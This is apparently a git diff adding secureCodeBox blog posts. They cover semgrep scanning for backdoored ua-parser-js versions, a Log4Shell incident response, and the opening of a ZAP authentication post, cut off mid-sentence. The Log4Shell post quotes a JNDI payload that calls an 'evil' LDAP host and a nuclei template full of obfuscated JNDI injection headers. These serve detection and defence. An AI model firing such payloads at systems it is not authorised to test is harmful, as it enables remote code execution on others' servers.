your continuous integration (CI) workflows, so that the warnings reach the developers directly. +However, in some cases, you may also want to automatically analyze all repositories of your organization from a central location. +For example: You may want to find out which repositories use a specific API that you want to deprecate, check if any projects include a vulnerable ([or malicious][uaparser]) version of a library, or perform a variant analysis to determine if a newly detected critical security issue is present in other repositories. +In these cases, having your security team run a single, automated scan over all repositories can be easier than approaching every single development team individually. + +## Case Study: Finding A Malicious Dependency + +Let us imagine you are a security specialist at a software company. +You wake up to the news that the popular JavaScript library [UA-parser-js was backdoored by attackers][uaparser]. +Of course, you let your colleagues know immediately, but now you are wondering: is any of the software in our code repositories actually using the affected version of the library? +Let's find out! + +In total, we need to perform three steps: +1. Identify all Git repositories in your organization. +2. Clone each repository and check if they are using an affected version of the library. +3. Make the results available for inspection. + +### Finding All Git Repositories + +For the purpose of this article, we will assume that you are using either GitHub or Gitlab to manage your source code repositories, and that you have (at the very least) read access to them. +If this is the case, you can use the existing [git-repo-scanner][gitreposcanner] to generate a list of all repositories in your organization. +For example, you can find all repositories under the secureCodeBox GitHub organization like this: + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "scan-github" +spec: + scanType: "git-repo-scanner" + parameters: + - "--git-type" + - "github" + - "--access-token" + - "$(GITHUB_TOKEN)" + - "--organization" + - "secureCodeBox" + - "--annotate-latest-commit-id" + - "True" + # The cascades here will be explained later + cascades: + matchLabels: + securecodebox.io/intensive: medium + securecodebox.io/invasive: non-invasive + env: + - name: GITHUB_TOKEN + valueFrom: + secretKeyRef: + name: github-access-token + key: token +``` + +This example assumes that you have created a GitHub [Personal Access Token][github-pat] with the `repo` scope and loaded it as a Kubernetes secret named `github-access-token`. +To do the latter, run: +```bash +# Don't forget the leading whitespace in the command to avoid +# having your GitHub access token in your shell history! + echo -n 'gh_abcdef...' > github-token.txt # use -n to avoid trailing line break +kubectl create secret generic github-access-token --from-file=token=github-token.txt +rm github-token.txt +``` + +And that's it! +In this example, the scanner will automatically find all repositories under the secureCodeBox GitHub organization that you have access to, and generate a JSON output that looks something like this: + +```json +[ + { + "name": "GitHub Repo", + "description": "A GitHub repository", + "category": "Git Repository", + "osi_layer": "APPLICATION", + "severity": "INFORMATIONAL", + "attributes": { + "id": "292293538", + "web_url": "https://github.com/secureCodeBox/documentation", + "full_name": "secureCodeBox/documentation", + "owner_type": "Organization", + "owner_id": "34573705", + "owner_name": "secureCodeBox", + "created_at": "2020-09-02T13:39:10Z", + "last_activity_at": "2021-10-26T11:23:25Z", + "visibility": "public", + "last_commit_id": "106a70b63fe9ffd6b2b264352331fc5e7d7821f0" + }, + "id": "37c49e64-0f12-40ec-9e51-460d8b5e99f9", + "parsed_at": "2021-10-26T14:19:42.707Z" + }, + { + "name": "GitHub Repo", + "description": "A GitHub repository", + "category": "Git Repository", + "osi_layer": "APPLICATION", + "severity": "INFORMATIONAL", + "attributes": { + "id": "80711933", + "web_url": "https://github.com/secureCodeBox/secureCodeBox", + "full_name": "secureCodeBox/secureCodeBox", + "owner_type": "Organization", + "owner_id": "34573705", + "owner_name": "secureCodeBox", + "created_at": "2017-02-02T09:48:05Z", + "last_activity_at": "2021-10-26T11:44:02Z", + "visibility": "public", + "last_commit_id": "b16b0ddfbad578a35fe54100b9192165ac2f5c0c" + }, + "id": "11b20733-eba5-47d7-b64d-09cf22bab29b", + "parsed_at": "2021-10-26T14:19:42.707Z" + }, + // And so on... +] +``` + +So, now that we have a list of repositories, how do we scan them? + +### Creating Follow-Up Scans + +[Cascading scans][cascadingscans] are probably one of the most useful features of _secureCodeBox_. +They allow you to use results from a previous scan to dynamically create targeted follow-up scans. +You can even include a selector to filter which results you want to act on, and which you want to ignore. +Consider the following cascading scan definition: + +```yaml +apiVersion: "cascading.securecodebox.io/v1" +kind: CascadingRule +metadata: + name: "find-ua-parser-backdoor" + # How invasive and resource intensive is this cascading scan? + # Scans can use this to filter out specific CascadingRules (see the + # 'cascades' definition in the example scan above) + labels: + securecodebox.io/invasive: non-invasive + securecodebox.io/intensive: medium +spec: + # Filter the results that the cascading scan should be run on. + matches: + anyOf: + # Only run on GitHub repositories... + - name: "GitHub Repo" + # ...that are public + # (Of course, you can remove this part if you also want + # to scan private repositories) + attributes: + visibility: public + scanSpec: + # TODO: scanSpec will follow +``` + +This (incomplete) example of a cascading scan rule shows off some of their features: We can categorize how resource-intensive and invasive the defined scans are (so that the preceding scans can filter out specific cascading rules that are too invasive for the current engagement), and filter which results we want to act on. +In this example, we want to act on result with the name "GitHub Repo" that have an attribute called "visibility" that is set to "public". +Of course, we can drop the latter part if we also want to analyze private repositories. + +So, this is all well and good, but how can we turn this into a SAST scan? +For this, we turn to the newest member in the family of _secureCodeBox_ scanners: semgrep. + +### Detecting Affected Code + +[Semgrep][semgrep] is an open source SAST scanner that we [added to secureCodeBox with the 3.3 release][semgrep-scb]. +It has support for many popular programming languages and a [large corpus of pre-defined scan rules][semgrep-rules], but also allows you to [write your own rules][semgrep-write-rules] in a fairly intuitive and flexible syntax. +For example, this is a basic rule to find `package-lock.json` files that contain a reference to an affected version of the UA-parser-js library: + +```yaml +rules: +- id: backdoored-ua-parser + pattern-either: + - pattern: | + "ua-parser-js": { "version": "0.7.29", ... } + - pattern: | + "ua-parser-js": { "version": "0.8.0", ... } + - pattern: | + "ua-parser-js": { "version": "1.0.0", ... } + paths: + include: + - package-lock.json + message: Backdoored version of ua-parser-js found + languages: [json] + severity: ERROR + metadata: + references: + - https://www.bleepingcomputer.com/news/security/popular-npm-library-hijacked-to-install-password-stealers-miners/ +``` + +This rule will search through all `package-lock.json` files and look for any references to the affected versions of the library (of course, in practice you may want to refine this rule a bit more, but it is good enough for this example). +So, we have a rule, and we have a list of repositories - but how do we get the code from the repositories to where the scanner is? +By using another newly introduced feature of _secureCodeBox_: init containers. + +### Getting The Code To The Scanner + +If you already have some experience with Kubernetes, you may already know the concept of [init containers][initc]. +Briefly, they are containers that are run before the main container of a job is run, and are used to provision specific data or configurations files for the main container. +With _secureCodeBox_ 3.2, we have [added support for init containers][initc-scb]. +We can use this to provision the Git repository into the semgrep scan container, specifying a [shared volume between the init container and the main job][initc-volumes] so that they can share the downloaded data. +We can thus complete the cascading rule we began writing above. + +```yaml +apiVersion: "cascading.securecodebox.io/v1" +kind: CascadingRule +metadata: + name: "find-ua-parser-backdoor" + labels: + securecodebox.io/invasive: non-invasive + securecodebox.io/intensive: medium +spec: + matches: + anyOf: + - name: "GitHub Repo" + # Remove the the next two lines to scan all repositories, + # or leave them to only scan public repositories + attributes: + visibility: public + scanSpec: + # We are scanining using semgrep + scanType: "semgrep" + # Specify an empty volume that we can share between scan and + # init container + volumes: + - name: repo + emptyDir: {} + # Mount it on the scanner at /repo + volumeMounts: + - name: repo + mountPath: "/repo/" + parameters: + # Reference the rule we created above in the semgrep playground: + # https://semgrep.dev/s/DzLd/ + # Of course, you can also specify a complete ruleset, like p/ci, + # or place the rule in a YAML file using a Kubernetes secret or + # ConfigMap. + - "-c" + - "s/DzLd" + # Disable the maximum scanned file size for semgrep, otherwise + # very large package-lock.json files will be ignored + - "--max-target-bytes 0" + # Our code will be located at /repo/ + - "/repo/" + # Specify the init container for cloning the code + initContainers: + - name: "git-clone" + # Use a container with the git binary + image: bitnami/git + # We are assembling the git clone URL with HTTP authentication, + # using the same personal access token as in the git-repo-scanner. + # Note that using {{{triple braces}}} is important, as otherwise the + # templating engine will automatically escape special characters and + # break the URL. + command: + - git + - clone + - "https://$(GITHUB_TOKEN)@github.com/{{{attributes.full_name}}}" + - /repo/ + # Specify that the "repo" volume should also be mounted on the + # initContainer + volumeMounts: + - mountPath: "/repo/" + name: repo + # Pull in the GitHub token from the secrets, as above + env: + - name: GITHUB_TOKEN + valueFrom: + secretKeyRef: + name: github-access-token + key: token +``` + +If you load this cascading rule and start the git-repo-scanner scan we defined above, it automatically starts scans for all repositories found by git-repo-scanner (make sure the [git-repo-scanner][gitreposcanner] and [semgrep][semgrep-scb] scantypes as well as the [CascadingScans hook][cascadingscans] are installed). +After waiting a while for the scan to finish, you can see the results using `kubectl get scans` - since we have a simple rule that only matches one specific vulnerability, any finding that is shown in the results should be investigated (find out which repository it belongs to by running `kubectl describe scan [name of the scan] | grep github.com`). +However, maybe you want to also inspect the data in an application security management system like [DefectDojo][defectdojo]? + +### Getting The Results Into DefectDojo + +_secureCodeBox_ has had a [DefectDojo integration][defectdojo-scb] for a while. +It allows you to automatically import data from your scans to DefectDojo, and optionally pull the results of the import back into _secureCodeBox_. +You can control how the imported data is assigned to products, engagements and tests in DefectDojo by using scan annotations, which also support templating for cascading scans. +For example, the following extended cascading scan definition now assigns each scan to a DefectDojo product for that repository, and also includes some version information. + +```yaml +apiVersion: "cascading.securecodebox.io/v1" +kind: CascadingRule +metadata: + name: "find-ua-parser-backdoor" + labels: + securecodebox.io/invasive: non-invasive + securecodebox.io/intensive: medium +spec: + # Add scan annotations for DefectDojo + scanAnnotations: + # Product type is "Git Repository" + defectdojo.securecodebox.io/product-type-name: "Git Repository" + # Name is the name of the repo (mind the triple braces!) + defectdojo.securecodebox.io/product-name: "{{{ attributes.full_name }}}" + # Add a few tags for easier indexing + defectdojo.securecodebox.io/product-tags: git,github,repository,code + # Denote that the scan belongs to an engagement that checks for + # the presence of affected ua-parser-js versions + defectdojo.securecodebox.io/engagement-name: "semgrep-ua-parser-js" + # Add the latest commit ID as a version + defectdojo.securecodebox.io/engagement-version: "{{ attributes.last_commit_id }}" + # Name the specific test we performed by combining name and latest + # commit ID + defectdojo.securecodebox.io/test-title: "{{{ attributes.full_name }}} - {{ attributes.last_commit_id }}" + # ... rest of the definition as above, omitted for space +``` + +:::caution + +If you want to try this in practice, note that it will currently only work if the DefectDojo hook is configured not to write back its results to _secureCodeBox_ (`--set="defectdojo.syncFindingsBack=false"` during installation of the hook). +Otherwise, the DefectDojo hook will overwrite the findings of the git-repo-scanner job, causing the cascading jobs not to be run. +Also note that at the time of writing, the current version of DefectDojo has a [known issue with the semgrep importer being a bit too aggressive with deduplication][defectdojo-semgrep-issue], which should be fixed in the next release (but should not affect this example). +::: + +Of course, we also want to help you follow security best practices in your security scanning infrastructure, so starting with _secureCodeBox_ 3.3, you can also run the DefectDojo hook with an API key with limited permissions instead of the full administrative access that was previously required. +For more details, see the [DefectDojo Hook Documentation][defectdojo-scb-permissions]. + +## Conclusion + +We hope this example shows how SAST scans can be a valuable addition to your secureCodeBox toolbelt, even if you are already using such scanners as part of the CI pipeline. +Of course, nothing stops you from using [scheduled scans][scheduledscans] to keep re-running these scans on a regular basis to check for additional issues like [leaked secrets][semgrep-secrets] (which is also possible with [gitleaks][gitleaks]) or [high-confidence security issues][semgrep-ci] in your repositories, just to make sure the existing processes did not miss anything. +As always, our goal is to provide a platform that works with your workflows instead of prescribing our own. +We are looking forward to hearing your own stories and ideas for using secureCodeBox - [find us on Slack][scb-slack] or [GitHub][scb-repo] to get in touch. + + +[uaparser]: https://www.bleepingcomputer.com/news/security/popular-npm-library-hijacked-to-install-password-stealers-miners/ +[semgrep]: https://semgrep.dev +[semgrep-rules]: https://semgrep.dev/r +[semgrep-scb]: /docs/scanners/semgrep +[semgrep-write-rules]: https://semgrep.dev/learn/ +[semgrep-secrets]: https://semgrep.dev/p/secrets +[semgrep-ci]: https://semgrep.dev/p/ci +[defectdojo]: https://www.defectdojo.org/ +[defectdojo-semgrep-issue]: https://github.com/DefectDojo/django-DefectDojo/pull/5317 +[defectdojo-scb]: /docs/hooks/defectdojo +[defectdojo-scb-permissions]: /docs/hooks/defectdojo#low-privileged-mode +[initc]: https://kubernetes.io/docs/concepts/workloads/pods/init-containers/ +[initc-volumes]: https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-initialization/#create-a-pod-that-has-an-init-container +[initc-scb]: /docs/api/crds/scan#initcontainers-optional +[github-pat]: https://github.com/settings/tokens +[gitreposcanner]: /docs/scanners/git-repo-scanner +[cascadingscans]: /docs/hooks/cascading-scans +[scheduledscans]: /docs/how-tos/automatically-repeating-scans +[gitleaks]: /docs/scanners/gitleaks +[scb-slack]: https://join.slack.com/t/securecodebox/shared_invite/enQtNDU3MTUyOTM0NTMwLTBjOWRjNjVkNGEyMjQ0ZGMyNDdlYTQxYWQ4MzNiNGY3MDMxNThkZjJmMzY2NDRhMTk3ZWM3OWFkYmY1YzUxNTU%22 +[scb-repo]: https://github.com/secureCodeBox/secureCodeBox/ \ No newline at end of file diff --git a/documentation/blog/2022-01-18-log4shell.md b/documentation/blog/2022-01-18-log4shell.md new file mode 100644 index 0000000000..ec53eabc86 --- /dev/null +++ b/documentation/blog/2022-01-18-log4shell.md @@ -0,0 +1,325 @@ +--- +# SPDX-FileCopyrightText: 2021 iteratec GmbH +# +# SPDX-License-Identifier: Apache-2.0 + +title: How We Used the secureCodeBox In Our Log4Shell Incident Response +author: The secureCodeBox Team +author_title: Core Developer +author_url: https://github.com/secureCodeBox +author_image_url: https://avatars.githubusercontent.com/u/34573705?v=4 +tags: + - secureCodeBox + - case study + - incident response + - SAST + - DAST + - cascading scans + - Log4Shell + - Log4J +description: We describe how the secureCodeBox allowed us to rapidly respond to the Log4shell vulnerability. +image: /img/blog/2022-02-24-burninglog.jpg +--- + +![A burning log](/img/blog/2022-02-24-burninglog.jpg) + +Cover photo by [Ray Shrewsberry](https://unsplash.com/@ray12119) on [Unsplash](https://unsplash.com/photos/AXRYB88LAXs). + +By now, you must have heard about Log4Shell, the present that ruined Christmas for many developers and IT specialists, whether naughty or nice. +This blog describes how we used the secureCodeBox as one building block in our incident response process at iteratec. + +<!--truncate--> + +## A Brief Introduction To Log4Shell + +But first, a small refresher: In late November 2021, a [zero-day vulnerability was discovered in the widely used Java logging library Log4J](https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/). It allowed attackers to remotely execute code through Java Naming and Directory Interface ([JNDI](https://en.wikipedia.org/wiki/Java_Naming_and_Directory_Interface)) lookups to malicious LDAP servers: If an attacker can get the application to log a payload controlled by the attacker, like `{jndi:ldap//evil.ldap.server.adress/a}`, then the code hosted on the LDAP server would be loaded and executed by the program, effectively letting third parties take control of the Java Application and the server it's running on. + +This vulnerability shook the IT world. It received a CVE rating of 10/10, and even the German government issued a statement calling for immediate action and described the issue as "critical". This is due to two main reasons. First, the vulnerability was relatively simple for attackers to exploit. Second, it has remained undiscovered since 2013, affecting many services from AWS to Minecraft. + +At [iteratec](https://www.iteratec.com), as a software development company, we had to assess our security posture as well - for both the infrastructure that we were running for ourselves, as well as the software we develop for our customers. +In this blog post, we describe how we leveraged the secureCodeBox as part of our incident response. + +## Finding Affected Infrastructure + +Determining where a newly-detected vulnerability may be lurking inside your infrastructure can be a daunting task: You have to find a way to detect the vulnerability, test it, and then go through all of your systems to test them for the presence of the vulnerability. +Luckily, many parts of this process can be partially automated using the secureCodeBox. + +### Testing For Vulnerabilities + +Soon after the Log4Shell vulnerability became publicly known, the community of the [nuclei](https://github.com/projectdiscovery/nuclei) scanner published a [scan template](https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-44228.yaml) (the nuclei version of a scan rule, which describes declaratively how to test a host for the vulnerability) to detect the Log4Shell vulnerability. +This rule triggers a single HTTP request to the target with a single HTTP get request parameter set to include the JNDI attack payload. +It also includes a large number of HTTP header each containing the same attack payload. +If the server uses a vulnerable version of Log4J to log one of the parameters, the host will trigger a DNS lookup. +Before the scan, nuclei registers a new endpoint on an [out-of-band (OOB) interaction service](https://github.com/projectdiscovery/interactsh), which will log all DNS lookup made to that unique domain name. +Nuclei automatically configures the JNDI attack payload to make the lookup on the domain name of the OOB endpoint. +This gives a very effective way to discover the vulnerability with a very low chance for false positives. + +Thought the false positive rate is very low, the detection rate can also be low, as the dynamic scans have to actually trigger the vulnerability correctly by passing the right parameters (e.g. `?foo=bar&baz=${jdni...})`), finding and using the correct endpoint (e.g. `/api/user/login`) or including a valid user token and session to access a restricted endpoint. +All these things are potentially required to detect Log4Shell via dynamic scanners. +Hence, if the scans do not give any results, it does not necessarily mean that no Log4J bug is present, but it can at least rule out the easy-to-find cases. + +To use the Nuclei template in the secureCodeBox, we used the Log4Shell Nuclei template and expanded it to include the attack payload in more headers and parameters to increase chance of finding vulnerable hosts. To run these scans, we used the following secureCodeBox configuration: + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "nuclei-log4j" +spec: + scanType: "nuclei" + parameters: + - "-templates" + - "/custom-nuclei-rules/log4j-template.yaml" + - "-target" + - "log4j-vuln.example.com" + volumeMounts: + - name: nuclei-template-log4j + mountPath: /custom-nuclei-rules/ + volumes: + - name: nuclei-template-log4j + configMap: + name: nuclei-template-log4j +--- +apiVersion: v1 +kind: ConfigMap +metadata: + name: nuclei-template-log4j +data: + log4j-template.yaml: | + + id: CVE-2021-44228 + + info: + name: Remote code injection in Log4j + author: melbadry9,dhiyaneshDK,daffainfo,J12934 + severity: critical + description: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. + reference: + - https://github.com/advisories/GHSA-jfh8-c2jp-5v3q + - https://www.lunasec.io/docs/blog/log4j-zero-day/ + - https://gist.github.com/bugbountynights/dde69038573db1c12705edb39f9a704a + tags: cve,cve2021,rce,oast,log4j + + requests: + - raw: + - | + GET /?x=${jndi:ldap://${hostName}.{{interactsh-url}}/a} HTTP/1.1 + Host: {{Hostname}} + User-Agent: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.{{interactsh-url}}} + Referer: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.{{interactsh-url}}} + X-Forwarded-For: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.{{interactsh-url}}} + Authentication: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.{{interactsh-url}}} + - | + GET / HTTP/1.1 + Host: {{Hostname}} + X-Api-Version: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.{{interactsh-url}}} + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the DNS Interaction + words: + - "dns" + + - type: regex + part: interactsh_request + regex: + - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable + + extractors: + - type: regex + part: interactsh_request + group: 1 + regex: + - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output +``` + +This example consists of a configmap holding the slightly modified Nuclei Log4Shell template which is then mounted and selected as the only template to run in the Nuclei scan defined above. + +In the month since, the official Nuclei Log4Shell template was expanded significantly and additional templates to scan for specifc occurences in known vulnerable software like [Apache Solr](https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/apache/apache-solr-log4j-rce.yaml), [VMware vCenter](https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/vmware/vmware-vcenter-log4j-jndi-rce.yaml), [UniFi](https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/other/unifi-network-log4j-rce.yaml) and more were released. You can use all these rules in a scan like this: + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "nuclei-log4j" +spec: + scanType: "nuclei" + parameters: + - "-tags" + - "log4j" + - "-target" + - "log4j-vuln.example.com" +``` + +### Building A Demo Target +We needed a test target to validate that our scanners effectively detect a Log4J vulnerability. Fortunately, secureCodebox already has the ideal resource for this use case: the *demo target*. +We use demo targets in SCB to continuously test the functionality of our scanners during the development cycles. +Our existing demo targets include the [bodgeit store](https://github.com/psiinon/bodgeit) and [OWASP Juice Shop](https://owasp.org/www-project-juice-shop/). +Integration tests are run against the demo targets during our CI/CD pipeline to spot any malfunctioning scanner. + +Demo targets consist of a Kubernetes service containing a vulnerable application image. +Creating a new Log4J demo target is a straightforward process. + +First, a vulnerable docker image is required. +Luckily, an image has been [provided by the GitHub user 'christophetd'](https://github.com/christophetd/log4Shell-vulnerable-app). +Second, we must create our [helm chart folder](https://github.com/secureCodeBox/secureCodeBox/tree/main/demo-targets/vulnerable-log4j/templates) using the same directory structure as the other demo targets and configure it to use the vulnerable Log4J image. +We set the `image.repository` to the provided docker image above as seen in the following `values.yaml` file: + +```yaml +replicaCount: 1 + +image: + # image.repository -- Container Image + repository: ghcr.io/christophetd/log4shell-vulnerable-app + # image.tag -- The image tag + # @default -- defaults to the appVersion + tag: null + # -- Image pull policy. One of Always, Never, IfNotPresent. Defaults to Always if :latest tag is specified, or IfNotPresent otherwise. More info: https://kubernetes.io/docs/concepts/containers/images#updating-images + pullPolicy: IfNotPresent + +service: + type: ClusterIP + port: 8080 +``` +We also configure a service of type [ClusterIP](https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types) on port 8080. +It is essential to expose the demo target's container on the same port. So it would have the port 8080 open to TCP protocol as seen in the Deployment resource below: + +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: {{ include "vulnerable-log4j.fullname" . }} + labels: + {{- include "vulnerable-log4j.labels" . | nindent 4 }} + annotations: + {{- include "vulnerable-log4j.annotations" . | nindent 4 }} +spec: + replicas: {{ .Values.replicaCount }} + selector: + matchLabels: + {{- include "vulnerable-log4j.selectorLabels" . | nindent 6 }} + template: + metadata: + labels: + {{- include "vulnerable-log4j.selectorLabels" . | nindent 8 }} + annotations: + {{- include "vulnerable-log4j.annotations" . | nindent 8 }} + spec: + {{- with .Values.imagePullSecrets }} + imagePullSecrets: + {{- toYaml . | nindent 8 }} + {{- end }} + securityContext: + {{- toYaml .Values.podSecurityContext | nindent 8 }} + containers: + - name: {{ .Chart.Name }} + securityContext: + {{- toYaml .Values.securityContext | nindent 12 }} + image: "{{ .Values.image.repository }}:{{ .Values.image.tag | default .Chart.AppVersion }}" + imagePullPolicy: {{ .Values.image.pullPolicy }} + ports: + - name: http + containerPort: 8080 + protocol: TCP + resources: + {{- toYaml .Values.resources | nindent 12 }} + {{- with .Values.nodeSelector }} + nodeSelector: + {{- toYaml . | nindent 8 }} + {{- end }} + {{- with .Values.affinity }} + affinity: + {{- toYaml . | nindent 8 }} + {{- end }} + {{- with .Values.tolerations }} + tolerations: + {{- toYaml . | nindent 8 }} + {{- end }} +``` + +And then we are essentially done. All that is left now is to install the demo target in the preferred namespace, as shown below: + +```bash +helm upgrade --install vulnerable-log4j ./demo-targets/vulnerable-log4j/ --namespace <NAMESPACE> +``` + +After using the demo target to validate that the scanner works, we then proceeded to run it against our own infrastructure. + +### Finding Hosts + +To scan for the Log4Shell vulnerabilities dynamically (DAST) we first have to identify what to scan, the so-called *attack surface*. +One powerful feature of the secureCodeBox is the dynamic scan orchestration of different security scanner: the [cascading scans mechanism](https://www.securecodebox.io/docs/hooks/cascading-scans). +Based on that it is easy to run an initial scan to discover scan targets and use their result to automatically start (cascade) specialized scans for the identified hosts and domains.We used two different different discovery methods: + +For hosts sitting in internal networks, we used nmap ([with the secureCodeBox `nmap` scanType](https://www.securecodebox.io/docs/scanners/nmap)) to identify active hosts and open ports in our internal IP ranges (e.g. 10.42.0.0/16) and network segments. Every port which nmap identified to be related to http(s) (which is generally the easiest protocol to scan for Log4Shell even thought it can also be exploitable via different protocols) was used as a target in a cascading Log4Shell scan. +2. For publicly available hosts, we used the OWASP AMASS scanner ([with the secureCodeBox `amass` scanType](https://www.securecodebox.io/docs/scanners/amass)) first to find subdomains for the list of domain names we own as a company. This outputs a list of a subdomains which also automatically trigger `nmap` cascading scans to find open http(s) ports for the actual Log4Shell vulnerability assessment. + +After enumerating the targets, we triggered the actual Nuclei scans using another cascading rule. + +Most scanner helm charts in the secureCodeBox come with cascading rules by default. E.g. the [rule used to trigger the nmap port scans on amass findings](https://github.com/secureCodeBox/secureCodeBox/blob/main/scanners/nmap/cascading-rules/hostscan.yaml) is included by default in the nmap helm chart GitHub. With the nuclei cascading rule we wanted to have more control over the configuration of the automatically created cascaded scans so we disabled the cascading rules included by default in the helm chart (`helm install nuclei secureCodeBox/nuclei --set="cascadingRules.enabled=false"`) and created our own, incorporating our custom nuclei configuration described above. The rule then looked like the following (reusing the ConfigMap created in the example above): + +```yaml +apiVersion: "cascading.securecodebox.io/v1" +kind: CascadingRule +metadata: + # Note this rule is just for https targets, we've also used our http rule to scan http ports, see http rule: https://github.com/secureCodeBox/secureCodeBox/blob/main/scanners/nuclei/cascading-rules/subdomain_http.yaml + name: "nuclei-log4j-scan-https" + labels: + securecodebox.io/invasive: non-invasive + securecodebox.io/intensive: light +spec: + matches: + anyOf: + - category: "Open Port" + attributes: + port: 443 + state: open + - category: "Open Port" + attributes: + service: "https" + state: open + - category: "Open Port" + attributes: + service: "https*" + state: open + scanSpec: + scanType: "nuclei" + # This example uses the ConfigMap we created further up in the article. + # If you want to use the official set of Nuclei templates for Log4J, + # change the parameterization below as previously described. + parameters: + - "-templates" + - "/custom-nuclei-rules/log4j-template.yaml" + - "-target" + # Target domain name of the finding and start a nuclei scan + - "https://{{$.hostOrIP}}:{{attributes.port}}" + volumeMounts: + - name: nuclei-template-log4j + mountPath: /custom-nuclei-rules/ + volumes: + - name: nuclei-template-log4j + configMap: + name: nuclei-template-log4j +``` + +## Finding Affected Code + +Of course, as a software development company, we also had to validate that the code we produce for our customers wasn't affected. +The individual development teams quickly determined if their projects were affected, created updates, and shipped them to the customers. +As part of the security team, we supported the teams in their efforts. +In parallel, we used the static code analysis (SAST) capabilities of the secureCodeBox to scan our software repositories for places where code may have been missed. +We followed the workflows [outlined in the previous blog post](/blog/2021/10/27/sast-scanning), using [a set of semgrep rules](https://r2c.dev/blog/2021/understanding-log4j-and-log4shell/) written by Kurt Boberg ([@lapt0r](https://twitter.com/lapt0r)) and Lewis Ardern ([@LewisArdern](https://twitter.com/LewisArdern)) and released on the [semgrep Slack](https://r2c.dev/slack). +Although these rules will not detect everything (in particular, they will not find Log4J if it is pulled in transitively via a dependency), they allowed us to get some quick insight into which repositories may require further investigation. + +## Conclusion + +When a new critical vulnerability is found, it is often imperative to act quickly and comprehensively. +The secureCodeBox can play an invaluable role in quickly identifying affected systems and software repositories, especially if you prepare and test incident response playbooks in advance so that you only have to configure the correct detection rules and then rely on a well-tested stack of security scanners to collect your findings. + +How do you use the secureCodeBox? +We are looking forward to hearing your own stories and ideas for using secureCodeBox - [find us on Slack][scb-slack] or [GitHub][scb-repo] to get in touch. + + +[scb-slack]: https://join.slack.com/t/securecodebox/shared_invite/enQtNDU3MTUyOTM0NTMwLTBjOWRjNjVkNGEyMjQ0ZGMyNDdlYTQxYWQ4MzNiNGY3MDMxNThkZjJmMzY2NDRhMTk3ZWM3OWFkYmY1YzUxNTU%22 +[scb-repo]: https://github.com/secureCodeBox/secureCodeBox/ \ No newline at end of file diff --git a/documentation/blog/2023-09-01-automate-zap-with-authentication.md b/documentation/blog/2023-09-01-automate-zap-with-authentication.md new file mode 100644 index 0000000000..79247c0ef6 --- /dev/null +++ b/documentation/blog/2023-09-01-automate-zap-with-authentication.md @@ -0,0 +1,483 @@ +--- +title: Automate ZAP with Authentication +authors: + - name: Rebecca Falke + title: Core Developer + url: https://github.com/rebeccan + image_url: https://avatars.githubusercontent.com/u/5824721?s=400&u=0e2d51378109239b2e5822a2c9a43b04b96c43fb&v=4 + - name: Max Maass + title: Core Developer + url: https://github.com/malexmave + image_url: https://avatars.githubusercontent.com/u/1688580?v=4 +tags: +- secureCodeBox +- OWASP ZAP automation +- Authentication +description: This post describes how to automate ZAP to authenticate against an API +--- + +![A Robot Hand](/img/blog/2023-09-01-robot.jpg) +Cover photo by [@possessedphotography](https://unsplash.com/@possessedphotography) on [Unsplash](https://unsplash.com/de/fotos/jIBMSMs4_kA). + +The [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org/) can be a powerful tool for pentesters and AppSec testing. However, some of its functionality can be a bit hard to wrap your head around at first. In this post, we will describe how to use one of the more powerful features of the software: Authentication and session management. First, we will show you how to develop an authentication script for a new, previously-unsupported authentication scheme, using the graphical ZAP interface. Afterwards, we will dive into how the same can be achieved inside the secureCodeBox using the newly-supported ZAP Automation Framework. + +<!--truncate--> + +## Why Use Authentication Scripts? + +Many web applications and APIs require authentication to expose all of their features. During a manual test of a web application, this can be achieved by logging in to the application by hand - however, when testing APIs, or when [using ZAP for regular scans inside the secureCodeBox](https://docs.securecodebox.io/docs/scanners/zap), manual authentication for each test is no longer feasible. Here, the built-in scripting functionality of ZAP can prove useful. It allows us to authenticate against a server, retrieve a session cookie, JWT, or other authentication marker, and automatically add it to each following request. It can even provide session management to automatically detect if the session has expired and trigger a re-authentication. + +In this example, we will be developing and using an authentication script that implements the [client credentials flow of OAuth 2.0](https://www.oauth.com/oauth2-servers/access-tokens/client-credentials/). In our scenario, the system under test required POSTing three parameters to a URL backed by [KeyCloak](https://www.keycloak.org/): the `client_id` and `client_secret`, as well as the parameter `grant_type=client_credentials`. + +## The ZAP Authentication System + +[ZAP handles authentication using a combination of multiple mechanisms](https://www.zaproxy.org/docs/authentication/), configured in different places. This can sometimes be confusing, but in general, there are three major steps to the process: Telling ZAP how it can authenticate to the system (and how to determine if it was successful), giving user account information to ZAP, and ensuring that the session information is actually being used in all requests. + +## Telling ZAP How to Authenticate + +Authentication is always configured for a specific ZAP [context](https://www.zaproxy.org/docs/desktop/start/features/contexts/). A context is a bundle of one or more domains, which you can define in the context menu. + +ZAP already has a number of authentication strategies built-in. They can be configured in the authentication menu of the used context. However, not all possible authentication methods are implemented natively in ZAP. For others, you may have to use an authentication script. The [community scripts 